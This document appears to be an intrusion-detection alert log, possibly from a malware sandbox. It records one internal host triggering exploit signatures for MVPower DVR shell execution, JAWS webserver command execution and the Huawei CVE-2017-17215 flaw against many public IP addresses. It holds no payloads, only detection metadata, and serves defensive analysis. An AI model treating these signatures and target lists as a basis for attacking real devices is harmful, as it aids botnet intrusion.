192.168.2.23156.235.97.23040630372152829579 01/02/24-06:23:56.194246	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40630	37215	192.168.2.23	156.235.97.230
192.168.2.2354.87.227.16435480802025883 01/02/24-06:25:22.000530	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35480	80	192.168.2.23	54.87.227.164
192.168.2.23104.126.126.8152802802025883 01/02/24-06:25:30.150804	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52802	80	192.168.2.23	104.126.126.81
192.168.2.2346.101.163.10735924802025883 01/02/24-06:25:11.820546	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35924	80	192.168.2.23	46.101.163.107
192.168.2.2338.173.142.9934518802025883 01/02/24-06:24:45.911157	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34518	80	192.168.2.23	38.173.142.99
192.168.2.23108.186.112.3448840802025883 01/02/24-06:24:54.992165	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48840	80	192.168.2.23	108.186.112.34
192.168.2.2323.218.15.4344830802025883 01/02/24-06:24:34.799253	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44830	80	192.168.2.23	23.218.15.43
192.168.2.23107.172.87.20751544802030092 01/02/24-06:24:55.853118	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51544	80	192.168.2.23	107.172.87.207
192.168.2.2387.106.240.16348362802025883 01/02/24-06:25:18.777402	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48362	80	192.168.2.23	87.106.240.163
192.168.2.23124.160.184.25432982802030092 01/02/24-06:24:49.075744	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32982	80	192.168.2.23	124.160.184.254
192.168.2.23158.94.0.20659592802030092 01/02/24-06:24:09.082311	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59592	80	192.168.2.23	158.94.0.206
192.168.2.2334.242.70.14342204802030092 01/02/24-06:24:43.208181	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42204	80	192.168.2.23	34.242.70.143
192.168.2.23200.52.65.8038840802030092 01/02/24-06:25:07.011268	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38840	80	192.168.2.23	200.52.65.80
192.168.2.23191.96.205.19456586802030092 01/02/24-06:24:13.903880	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56586	80	192.168.2.23	191.96.205.194
192.168.2.2323.57.244.12937714802030092 01/02/24-06:25:07.005656	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37714	80	192.168.2.23	23.57.244.129
192.168.2.2366.78.59.10240712802025883 01/02/24-06:25:15.619279	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40712	80	192.168.2.23	66.78.59.102
192.168.2.23200.159.177.3149306802025883 01/02/24-06:24:11.224156	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49306	80	192.168.2.23	200.159.177.31
192.168.2.2338.3.104.6048300802030092 01/02/24-06:25:07.011141	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48300	80	192.168.2.23	38.3.104.60
192.168.2.23160.242.101.24957992802030092 01/02/24-06:24:49.569096	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57992	80	192.168.2.23	160.242.101.249
192.168.2.23197.15.56.18050906802030092 01/02/24-06:24:01.084128	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50906	80	192.168.2.23	197.15.56.180
192.168.2.2335.211.249.21148824802030092 01/02/24-06:24:30.918981	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48824	80	192.168.2.23	35.211.249.211
192.168.2.23104.100.160.20360636802025883 01/02/24-06:25:11.730540	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60636	80	192.168.2.23	104.100.160.203
192.168.2.23155.159.137.860496802025883 01/02/24-06:24:33.306234	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60496	80	192.168.2.23	155.159.137.8
192.168.2.2323.63.254.14947840802025883 01/02/24-06:25:42.582550	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47840	80	192.168.2.23	23.63.254.149
192.168.2.2331.41.88.1257330802030092 01/02/24-06:24:41.167214	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57330	80	192.168.2.23	31.41.88.12
192.168.2.23169.53.132.23444342802030092 01/02/24-06:24:10.994021	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44342	80	192.168.2.23	169.53.132.234
192.168.2.23156.247.18.9351712372152835222 01/02/24-06:23:49.692291	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51712	37215	192.168.2.23	156.247.18.93
192.168.2.23143.0.84.21038402802025883 01/02/24-06:24:01.350138	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38402	80	192.168.2.23	143.0.84.210
192.168.2.2394.237.51.5260554802030092 01/02/24-06:24:20.104130	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60554	80	192.168.2.23	94.237.51.52
192.168.2.23109.196.234.1858414802030092 01/02/24-06:23:55.633320	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58414	80	192.168.2.23	109.196.234.18
192.168.2.23172.67.227.649236802030092 01/02/24-06:24:30.712225	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49236	80	192.168.2.23	172.67.227.6
192.168.2.2320.72.240.21243978802030092 01/02/24-06:24:23.654334	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43978	80	192.168.2.23	20.72.240.212
192.168.2.2362.146.189.2848810802025883 01/02/24-06:25:38.026986	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48810	80	192.168.2.23	62.146.189.28
192.168.2.2346.4.186.23653184802030092 01/02/24-06:24:54.906257	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53184	80	192.168.2.23	46.4.186.236
192.168.2.23197.26.123.21538682802030092 01/02/24-06:25:36.163559	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38682	80	192.168.2.23	197.26.123.215
192.168.2.235.135.156.633424802025883 01/02/24-06:25:30.155873	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33424	80	192.168.2.23	5.135.156.6
192.168.2.23119.77.165.6058400802025883 01/02/24-06:23:55.158684	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58400	80	192.168.2.23	119.77.165.60
192.168.2.2318.223.213.8951292802030092 01/02/24-06:25:25.918831	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51292	80	192.168.2.23	18.223.213.89
192.168.2.23104.82.158.9850494802025883 01/02/24-06:24:08.856573	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50494	80	192.168.2.23	104.82.158.98
192.168.2.2343.192.122.6537722802025883 01/02/24-06:25:42.403229	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37722	80	192.168.2.23	43.192.122.65
192.168.2.2320.94.161.14533044802025883 01/02/24-06:24:17.563871	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33044	80	192.168.2.23	20.94.161.145
192.168.2.2335.209.88.19054520802030092 01/02/24-06:24:45.913931	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54520	80	192.168.2.23	35.209.88.190
192.168.2.2359.49.86.22544734802030092 01/02/24-06:24:27.489026	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44734	80	192.168.2.23	59.49.86.225
192.168.2.23184.27.51.3257188802030092 01/02/24-06:25:35.366173	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57188	80	192.168.2.23	184.27.51.32
192.168.2.23176.119.158.21950988802025883 01/02/24-06:24:35.189037	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50988	80	192.168.2.23	176.119.158.219
192.168.2.23104.23.98.20438590802030092 01/02/24-06:24:01.079300	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38590	80	192.168.2.23	104.23.98.204
192.168.2.23156.253.47.15437722372152835222 01/02/24-06:24:59.013684	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37722	37215	192.168.2.23	156.253.47.154
192.168.2.23110.161.237.5746168802025883 01/02/24-06:25:25.756167	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46168	80	192.168.2.23	110.161.237.57
192.168.2.23115.110.175.3654248802025883 01/02/24-06:25:42.911184	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54248	80	192.168.2.23	115.110.175.36
192.168.2.2391.215.216.4359224802025883 01/02/24-06:23:50.494104	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59224	80	192.168.2.23	91.215.216.43
192.168.2.23193.46.47.24236186802030092 01/02/24-06:25:30.204860	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36186	80	192.168.2.23	193.46.47.242
192.168.2.2389.116.58.16258488802025883 01/02/24-06:24:18.153621	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58488	80	192.168.2.23	89.116.58.162
192.168.2.23156.235.102.7249608372152829579 01/02/24-06:25:03.497048	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49608	37215	192.168.2.23	156.235.102.72
192.168.2.23145.236.36.12840926802025883 01/02/24-06:24:59.212800	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40926	80	192.168.2.23	145.236.36.128
192.168.2.2391.194.11.19152908802025883 01/02/24-06:24:17.758398	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52908	80	192.168.2.23	91.194.11.191
192.168.2.2323.77.132.17740724802030092 01/02/24-06:24:18.209402	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40724	80	192.168.2.23	23.77.132.177
192.168.2.2394.152.11.20858652802025883 01/02/24-06:25:38.297923	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58652	80	192.168.2.23	94.152.11.208
192.168.2.2350.199.186.2553794802025883 01/02/24-06:24:08.558341	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53794	80	192.168.2.23	50.199.186.25
192.168.2.2345.11.236.14242078802025883 01/02/24-06:24:59.115435	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42078	80	192.168.2.23	45.11.236.142
192.168.2.2351.75.21.17840480802025883 01/02/24-06:25:02.016731	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40480	80	192.168.2.23	51.75.21.178
192.168.2.23167.82.120.6646464802030092 01/02/24-06:24:27.487383	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46464	80	192.168.2.23	167.82.120.66
192.168.2.23129.21.35.14555408802025883 01/02/24-06:24:59.028627	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55408	80	192.168.2.23	129.21.35.145
192.168.2.23160.121.60.20546956802030092 01/02/24-06:23:51.701184	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46956	80	192.168.2.23	160.121.60.205
192.168.2.23108.186.216.18145040802025883 01/02/24-06:23:51.959819	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45040	80	192.168.2.23	108.186.216.181
192.168.2.2350.87.38.1737480802030092 01/02/24-06:24:23.653878	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37480	80	192.168.2.23	50.87.38.17
192.168.2.23104.86.91.9035656802025883 01/02/24-06:24:50.099510	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35656	80	192.168.2.23	104.86.91.90
192.168.2.2335.242.176.1443110802025883 01/02/24-06:25:21.012628	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43110	80	192.168.2.23	35.242.176.14
192.168.2.23119.23.86.14936618802025883 01/02/24-06:25:42.547024	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36618	80	192.168.2.23	119.23.86.149
192.168.2.2323.15.103.2141670802025883 01/02/24-06:25:31.414284	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41670	80	192.168.2.23	23.15.103.21
192.168.2.2323.231.34.9059060802030092 01/02/24-06:24:27.279281	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59060	80	192.168.2.23	23.231.34.90
192.168.2.2320.65.30.21242196802025883 01/02/24-06:25:03.828276	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42196	80	192.168.2.23	20.65.30.212
192.168.2.23184.29.129.740722802030092 01/02/24-06:23:49.999892	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40722	80	192.168.2.23	184.29.129.7
192.168.2.2385.215.117.2442578802030092 01/02/24-06:24:01.338021	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42578	80	192.168.2.23	85.215.117.24
192.168.2.2389.212.109.24042828802030092 01/02/24-06:24:42.987046	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42828	80	192.168.2.23	89.212.109.240
192.168.2.2338.181.35.21934232802030092 01/02/24-06:23:57.729740	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34232	80	192.168.2.23	38.181.35.219
192.168.2.2338.55.6.5853198802025883 01/02/24-06:25:09.906087	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53198	80	192.168.2.23	38.55.6.58
192.168.2.2357.180.62.6834572802030092 01/02/24-06:24:44.984670	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34572	80	192.168.2.23	57.180.62.68
192.168.2.235.212.32.240614802030092 01/02/24-06:24:03.060009	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40614	80	192.168.2.23	5.212.32.2
192.168.2.23195.210.122.20639926802025883 01/02/24-06:25:42.425489	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39926	80	192.168.2.23	195.210.122.206
192.168.2.23107.167.54.15750366802030092 01/02/24-06:25:31.230783	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50366	80	192.168.2.23	107.167.54.157
192.168.2.2354.150.52.14052998802025883 01/02/24-06:24:24.012270	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52998	80	192.168.2.23	54.150.52.140
192.168.2.23152.200.138.8146794802025883 01/02/24-06:24:51.767454	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46794	80	192.168.2.23	152.200.138.81
192.168.2.2323.194.49.1647606802030092 01/02/24-06:24:41.187072	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47606	80	192.168.2.23	23.194.49.16
192.168.2.2399.79.174.3141104802030092 01/02/24-06:25:34.689900	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41104	80	192.168.2.23	99.79.174.31
192.168.2.2344.237.242.20252038802030092 01/02/24-06:24:36.865314	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52038	80	192.168.2.23	44.237.242.202
192.168.2.23202.75.28.17559818802025883 01/02/24-06:24:09.284359	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59818	80	192.168.2.23	202.75.28.175
192.168.2.2318.182.204.24235596802025883 01/02/24-06:25:43.130381	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35596	80	192.168.2.23	18.182.204.242
192.168.2.23147.161.173.436874802030092 01/02/24-06:24:27.401967	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36874	80	192.168.2.23	147.161.173.4
192.168.2.23212.162.84.18753220802030092 01/02/24-06:24:59.055810	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53220	80	192.168.2.23	212.162.84.187
192.168.2.23173.61.119.7736382802025883 01/02/24-06:23:51.529010	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36382	80	192.168.2.23	173.61.119.77
192.168.2.23104.25.41.24933472802030092 01/02/24-06:24:01.079195	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33472	80	192.168.2.23	104.25.41.249
192.168.2.23104.107.146.11748156802030092 01/02/24-06:24:01.091302	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48156	80	192.168.2.23	104.107.146.117
192.168.2.2357.180.216.7335048802030092 01/02/24-06:25:30.173193	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35048	80	192.168.2.23	57.180.216.73
192.168.2.2351.17.132.4749620802025883 01/02/24-06:24:34.942338	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49620	80	192.168.2.23	51.17.132.47
192.168.2.2323.198.222.19256304802025883 01/02/24-06:24:18.028834	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56304	80	192.168.2.23	23.198.222.192
192.168.2.23134.0.11.20345208802030092 01/02/24-06:24:03.999636	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45208	80	192.168.2.23	134.0.11.203
192.168.2.23172.121.35.8032926802030092 01/02/24-06:23:50.004340	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32926	80	192.168.2.23	172.121.35.80
192.168.2.2377.129.5.23550818802025883 01/02/24-06:25:29.681948	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50818	80	192.168.2.23	77.129.5.235
192.168.2.2320.44.122.13056304802025883 01/02/24-06:24:35.077411	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	56304	80	192.168.2.23	20.44.122.130
192.168.2.23188.166.210.13957904802030092 01/02/24-06:25:21.187951	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57904	80	192.168.2.23	188.166.210.139
192.168.2.2323.37.171.10453882802025883 01/02/24-06:24:30.942227	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53882	80	192.168.2.23	23.37.171.104
192.168.2.23117.52.81.22652076802030092 01/02/24-06:25:30.193653	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52076	80	192.168.2.23	117.52.81.226
192.168.2.2320.47.19.11445826802030092 01/02/24-06:23:56.133253	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45826	80	192.168.2.23	20.47.19.114
192.168.2.2335.244.163.22154766802030092 01/02/24-06:23:58.944015	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54766	80	192.168.2.23	35.244.163.221
192.168.2.2343.175.236.10258804802025883 01/02/24-06:25:44.028517	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58804	80	192.168.2.23	43.175.236.102
192.168.2.2323.214.139.1748916802030092 01/02/24-06:24:08.852245	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48916	80	192.168.2.23	23.214.139.17
192.168.2.2395.101.194.5540702802030092 01/02/24-06:25:10.079630	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40702	80	192.168.2.23	95.101.194.55
192.168.2.2318.155.199.10545054802025883 01/02/24-06:23:54.818570	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45054	80	192.168.2.23	18.155.199.105
192.168.2.23104.83.91.4142372802025883 01/02/24-06:24:06.101527	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42372	80	192.168.2.23	104.83.91.41
192.168.2.2359.151.128.1748314802025883 01/02/24-06:24:46.386584	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48314	80	192.168.2.23	59.151.128.17
192.168.2.2374.39.214.2346062802025883 01/02/24-06:25:15.627181	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46062	80	192.168.2.23	74.39.214.23
192.168.2.2323.12.99.17136038802025883 01/02/24-06:24:09.103574	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36038	80	192.168.2.23	23.12.99.171
192.168.2.2391.185.13.23641066802030092 01/02/24-06:24:40.775189	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41066	80	192.168.2.23	91.185.13.236
192.168.2.23186.39.8.7359120802030092 01/02/24-06:25:19.095834	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59120	80	192.168.2.23	186.39.8.73
192.168.2.2390.186.147.7442050802030092 01/02/24-06:24:54.920917	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42050	80	192.168.2.23	90.186.147.74
192.168.2.23178.128.227.10941330802030092 01/02/24-06:25:25.911068	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41330	80	192.168.2.23	178.128.227.109
192.168.2.23206.238.103.10546650802025883 01/02/24-06:24:08.700707	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46650	80	192.168.2.23	206.238.103.105
192.168.2.2343.225.210.1847310802030092 01/02/24-06:24:55.583858	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47310	80	192.168.2.23	43.225.210.18
192.168.2.2386.107.30.11541714802030092 01/02/24-06:25:35.089932	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41714	80	192.168.2.23	86.107.30.115
192.168.2.23104.80.89.1760656802030092 01/02/24-06:25:31.932213	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60656	80	192.168.2.23	104.80.89.17
192.168.2.231.214.84.941418802025883 01/02/24-06:25:32.217582	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41418	80	192.168.2.23	1.214.84.9
192.168.2.23162.243.164.3647712802025883 01/02/24-06:25:00.919883	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47712	80	192.168.2.23	162.243.164.36
192.168.2.23144.126.206.15750982802025883 01/02/24-06:24:28.177953	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50982	80	192.168.2.23	144.126.206.157
192.168.2.2367.207.70.10055198802025883 01/02/24-06:23:52.032969	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55198	80	192.168.2.23	67.207.70.100
192.168.2.2352.66.124.19643216802025883 01/02/24-06:24:31.144023	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43216	80	192.168.2.23	52.66.124.196
192.168.2.23150.60.155.8060130802030092 01/02/24-06:24:13.765423	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60130	80	192.168.2.23	150.60.155.80
192.168.2.23175.27.12.21960064802030092 01/02/24-06:25:32.237664	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60064	80	192.168.2.23	175.27.12.219
192.168.2.23216.137.174.13447390802025883 01/02/24-06:25:22.016894	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	47390	80	192.168.2.23	216.137.174.134
192.168.2.23104.81.147.8654666802025883 01/02/24-06:23:51.956424	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54666	80	192.168.2.23	104.81.147.86
192.168.2.23213.235.69.15352566802025883 01/02/24-06:25:15.717215	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52566	80	192.168.2.23	213.235.69.153
192.168.2.238.217.69.18058726802025883 01/02/24-06:24:01.420268	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58726	80	192.168.2.23	8.217.69.180
192.168.2.23104.252.147.12855178802030092 01/02/24-06:25:35.867202	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55178	80	192.168.2.23	104.252.147.128
192.168.2.23212.40.8.18758620802030092 01/02/24-06:24:23.995468	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58620	80	192.168.2.23	212.40.8.187
192.168.2.23205.186.128.848982802030092 01/02/24-06:24:27.336199	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48982	80	192.168.2.23	205.186.128.8
192.168.2.2338.181.35.21934120802025883 01/02/24-06:23:54.670611	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34120	80	192.168.2.23	38.181.35.219
192.168.2.23173.246.114.1738990802030092 01/02/24-06:24:15.084514	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38990	80	192.168.2.23	173.246.114.17
192.168.2.2320.244.147.18357646802025883 01/02/24-06:24:58.867978	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57646	80	192.168.2.23	20.244.147.183
192.168.2.2341.47.14.14559648802030092 01/02/24-06:24:55.990421	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59648	80	192.168.2.23	41.47.14.145
192.168.2.2352.215.63.14354620802030092 01/02/24-06:25:02.012429	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54620	80	192.168.2.23	52.215.63.143
192.168.2.23104.111.199.19550616802025883 01/02/24-06:24:14.253972	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50616	80	192.168.2.23	104.111.199.195
192.168.2.23170.61.215.22438188802030092 01/02/24-06:24:23.937077	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38188	80	192.168.2.23	170.61.215.224
192.168.2.23150.60.155.8060130802025883 01/02/24-06:24:13.765423	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60130	80	192.168.2.23	150.60.155.80
192.168.2.2318.142.2.15938786802030092 01/02/24-06:24:24.307205	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38786	80	192.168.2.23	18.142.2.159
192.168.2.23104.100.195.10552802802025883 01/02/24-06:25:15.214192	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52802	80	192.168.2.23	104.100.195.105
192.168.2.2313.250.225.1660966802025883 01/02/24-06:24:43.065656	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60966	80	192.168.2.23	13.250.225.16
192.168.2.23213.235.69.15352566802030092 01/02/24-06:25:15.717215	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52566	80	192.168.2.23	213.235.69.153
192.168.2.2313.55.87.22949346802025883 01/02/24-06:24:15.126337	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49346	80	192.168.2.23	13.55.87.229
192.168.2.23190.77.152.21653296802030092 01/02/24-06:25:16.037354	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53296	80	192.168.2.23	190.77.152.216
192.168.2.232.182.153.6248988802030092 01/02/24-06:24:24.372962	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48988	80	192.168.2.23	2.182.153.62
192.168.2.2362.24.144.16546790802025883 01/02/24-06:25:42.725214	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46790	80	192.168.2.23	62.24.144.165
192.168.2.235.63.152.5938096802030092 01/02/24-06:24:37.257342	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38096	80	192.168.2.23	5.63.152.59
192.168.2.23122.219.208.9451858802030092 01/02/24-06:25:29.715016	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51858	80	192.168.2.23	122.219.208.94
192.168.2.23209.51.136.5541670802030092 01/02/24-06:25:42.872171	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41670	80	192.168.2.23	209.51.136.55
192.168.2.23216.137.174.13447390802030092 01/02/24-06:25:22.016894	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47390	80	192.168.2.23	216.137.174.134
192.168.2.2318.161.154.7646938802025883 01/02/24-06:24:40.755405	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46938	80	192.168.2.23	18.161.154.76
192.168.2.23138.118.173.13258566802025883 01/02/24-06:24:33.144309	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	58566	80	192.168.2.23	138.118.173.132
192.168.2.235.133.222.13648094802025883 01/02/24-06:23:51.610663	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48094	80	192.168.2.23	5.133.222.136
192.168.2.23194.29.100.3746672802025883 01/02/24-06:24:49.045138	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46672	80	192.168.2.23	194.29.100.37
192.168.2.23168.93.163.14643476802025883 01/02/24-06:24:30.901528	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43476	80	192.168.2.23	168.93.163.146
192.168.2.23156.254.103.5538508372152835222 01/02/24-06:24:27.790071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38508	37215	192.168.2.23	156.254.103.55
192.168.2.23220.134.75.18260554802025883 01/02/24-06:25:32.202180	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60554	80	192.168.2.23	220.134.75.182
192.168.2.23154.223.106.9147644802030092 01/02/24-06:24:04.156293	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47644	80	192.168.2.23	154.223.106.91
192.168.2.23193.233.164.23748736802025883 01/02/24-06:24:17.936241	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48736	80	192.168.2.23	193.233.164.237
192.168.2.2387.249.21.23144962802030092 01/02/24-06:23:59.225841	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44962	80	192.168.2.23	87.249.21.231
